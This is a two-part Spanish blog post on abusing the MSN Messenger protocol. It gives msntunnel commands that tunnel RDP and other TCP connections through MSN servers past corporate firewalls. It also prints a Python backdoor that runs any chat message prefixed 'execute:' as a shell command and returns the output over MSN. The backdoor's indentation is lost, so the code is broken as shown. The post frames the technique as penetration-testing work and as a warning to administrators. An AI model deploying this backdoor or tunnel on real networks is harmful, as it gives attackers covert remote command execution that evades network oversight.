(Ab)Usando del protocolo MSN (y II)

Buscando por esos lugares he encontrado algo, desde mi punto de vista, bastante interesante: cómo (ab)usar del protocolo MSN un poco más a fondo que en la entrada anterior.

El programilla del que os estoy hablando es msntunnel y lo podéis encontrar aquí:

http://www.flu-project.com/msntunnel-tuneliza-conexiones-tcp-usando-msn-messenger.html

Una explicación visual servirá más que todo el rollo que os pueda largar.

Usamos dos cuentas de MSN, tal y como teníamos en el post anterior sobre el (ab)uso de Hotmail. Nos conectamos con cada cuenta y con el programa en dos sistemas distintos, de forma que podamos conectar ambas máquinas entre ellas a través del servidor de MSN.

La idea es enlazar uno de los puertos de uno de los hosts con el otro, de forma que al conectarnos a él, podamos controlar el segundo. Las pruebas, para que se vea hasta qué punto se puede llegar las he realizado con un escritorio remoto, pero perfectamente se
puede realizar un telnet, un ssh o cualquier otra conexión.

La conexión a un lado tendría que realizarse de la siguiente forma:

python msntunnel.py -u cuenta2@hotmail.es -p pass2 -r cuenta1@hotmail.es -L 3389

En el otro habría que poner lo siguiente:

python msntunnel.py -u cuenta1@hotmail.es -p pass2 -r cuenta2@hotmail.es -R 127.0.0.1 -P 3389

Un par de capturas para que se vea como quedarían las conexiones:

En el segundo sistema ejecutamos el comando en cuestión y nos aparecería esto:

Al mismo tiempo, en este segundo sistema, como prueba de que esto funciona, podríamos conectarnos al puerto 3389 con tsclient (rdesktop) a localhost, que enlazaría al rdesktop del Windows:

Hay que avisar que no es especialmente rápido, no obstante, no está diseñado para esto. Sin embargo, otros protocolos más ligeros como telnet o cualquiera en línea de comando funcionarían perfectamente.

Existen algunas librerías que os harán la vida un poco más fácil:
http://blitiri.com.ar/p/msnlib/
http://telepathy.freedesktop.org/wiki/Pymsn
http://www.msncp.com.ar/

“Cualquier parecido con la realidad, es verdad (que se lo pregunten al que programó esto)”

(Ab)Usando del protocolo MSN

En cierta ocasión, después de realizar el trabajo que se nos encomendó nos propusieron algo que estaba claro que andaban dándole vueltas por las caras que llevaban. ¿Sería posible que alguno de nuestros empleados pudiera acceder a su ordenador y por consiguiente a la red desde fuera de la oficina?

Así pues, con los datos que ya llevábamos, nos fuimos a la oficina a estudiar si eso sería posible o no. Al no conseguir datos que dijeran que eso fuera posible, nos fuimos a las oficinas del cliente a seguir investigando si eso sería posible.

Mi compañero, que es un monstruo dio con la clave, más o menos. En realidad no fue como en las películas, una casualidad. Como en muchas empresas entonces, se capaban mogollón de cosas, pero seguía permtiéndose usar el msn, o el gmail o cualquier otra movida.

Usamos el MSN para controlar su sistema desde fuera.

En su momento estudiamos un poco el protocolo y lo reprodujimos. No tengo ni idea de donde esta aquello ahora, así que lo he reproducido con lo que tenemos a mano hoy en día. Bastante más fácil por cierto.

Para programar el cliente remoto hemos usado la librería msnp.py, que podéis encontrar aquí. Os pongo las modificaciones que hemos realizado:

import msnp
import time
import os
import re
import sys

if len(sys.argv)<2:
print "Introduce con quien comunicar"
sys.exit()

dest_user = sys.argv[1]

class MsnChatListener(msnp.ChatCallbacks):
def message_received(self, passport_id, display_name, text, charset):

if dest_user == passport_id:
print '%s: %s' % (passport_id, text)
if re.match("execute: ",text):
comando = str(text.split("execute: ")[-1])
comando_execute = os.popen(comando).readlines()
           if len(comando_execute)>0:
for bucle in comando_execute:
self.chat.send_message(bucle.split('\n')[0], charset)
self.chat.send_message("------ COMANDO EJECUTADO ------", charset)              
           else:
self.chat.send_message('"'+comando+'"'+' no se reconoce como un comando interno o externo,', charset)
self.chat.send_message('programa o archivo por lotes ejecutable.', charset)

class MsnListener(msnp.SessionCallbacks):
def chat_started(self, chat):
callbacks = MsnChatListener()
chat.callbacks = callbacks
callbacks.chat = chat

msn = msnp.Session(MsnListener())
msn.login('correo@hotmail.es', 'password')

while True:
msn.process(chats = True)
time.sleep(1)

El protocolo es antiguo, pero para demostrar la viabilidad es perfectamente usable.

A continuación muestro una captura de lo que ocurre al lanzarlo:

Es necesario poseer dos cuentas. La primera de ellas se usará para el programa, para poder conectar con ella. La segunda es la cuenta desde la cual conectaremos. Yo he usado dos cuentas mías directamente.

Al lanzar el programa es necesario indicarle desde que otra cuenta se va a hablar con él. Esto es necesario por motivos evidentes. Cualquiera que se agregara esta cuenta podría lanzar comandos, nada más descubriera como hacerlo, lo cual también es modificable para que sólo devuelva los datos adecuados en caso que se lo digamos nosotros, no cualquier otro.

A continuación adjunto una pantalla de la ventana del messenger interactuando con el cliente instalado en la máquina destino.


Para poder lanzar comandos sólo hay que añadir delante el comando “execute:".

Si bien no es una vulnerabilidad, es algo que muchos administradores deben de tener en cuenta. Aún hoy en día existen bastantes redes empresariales en las cuales está permitido usar clientes de mensajería, y la mayoría de las veces no es porque los responsables de la red no quieran evitarlo.

Enlaces que deberías visitar si estás interesado en este protocolo:
http://msnpiki.msnfanatic.com/index.php/Main_Page
http://msnp.sourceforge.net/tutorial.html
http://es.wikipedia.org/wiki/Microsoft_Notification_Protocol
http://www.hypothetic.org/docs/msn/

“Cualquier parecido con la realidad es mera coincidencia”